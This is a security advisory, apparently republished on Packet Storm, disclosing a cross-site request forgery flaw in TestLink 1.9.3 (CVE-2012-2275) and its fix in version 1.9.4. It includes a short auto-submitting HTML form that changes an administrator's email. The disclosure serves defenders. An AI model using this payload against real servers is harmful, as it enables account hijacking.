what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TestLink 1.9.3 Cross Site Request Forgery

TestLink 1.9.3 Cross Site Request Forgery
Posted Sep 6, 2012
Authored by High-Tech Bridge SA | Site htbridge.com

TestLink version 1.9.3 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2012-2275
SHA-256 | 736b804ed14899a61e45af9653a9658234392141a3b1244d4491cc912560e8b1

TestLink 1.9.3 Cross Site Request Forgery

Change Mirror Download
Advisory ID: HTB23088
Product: TestLink
Vendor: teamst.org
Vulnerable Version(s): 1.9.3 and probably prior
Tested Version: 1.9.3
Vendor Notification: April 18, 2012
Public Disclosure: September 5, 2012
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2012-2275
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Risk Level: Medium
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab has discovered vulnerabiliy in TestLink, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks.


1) Сross-Site Request Forgery (CSRF) in TestLink: CVE-2012-2275

The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator's email.

An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.

The following PoC will change administrator's email:

<form action="http://[host]/lib/usermanagement/userInfo.php" method="post" name="main" id="main">
<input type="hidden" name="doAction" value="editUser">
<input type="hidden" name="lastName" value="LastName">
<input type="hidden" name="firstName" value="FirstName">
<input type="hidden" name="emailAddress" value="new@mail.com">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>



-----------------------------------------------------------------------------------------------

Solution:

Upgrade to TestLink 1.9.4

More Information:
http://gitorious.org/testlink-ga/testlink-code/commit/2d4ac941314f8bda80e265c9de8bacf17d1cd3e6
http://gitorious.org/testlink-ga/testlink-code/commit/c8751a3c9ad8970b49d1bf882203efacd10af087
http://gitorious.org/testlink-ga/testlink-code/commit/252788c2373e73173172ada9af661e0721599891


-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23088 - https://www.htbridge.com/advisory/HTB23088 - Сross-Site Request Forgery (CSRF) in TestLink.
[2] TestLink - http://www.teamst.org/ - An OpenSource test management tool which includes test specification, planning, reporting, requirements tracking and collaborate with well-known bug trackers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    65 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    23 Files
  • 23
    May 23rd
    15 Files
  • 24
    May 24th
    49 Files
  • 25
    May 25th
    20 Files
  • 26
    May 26th
    13 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    11 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close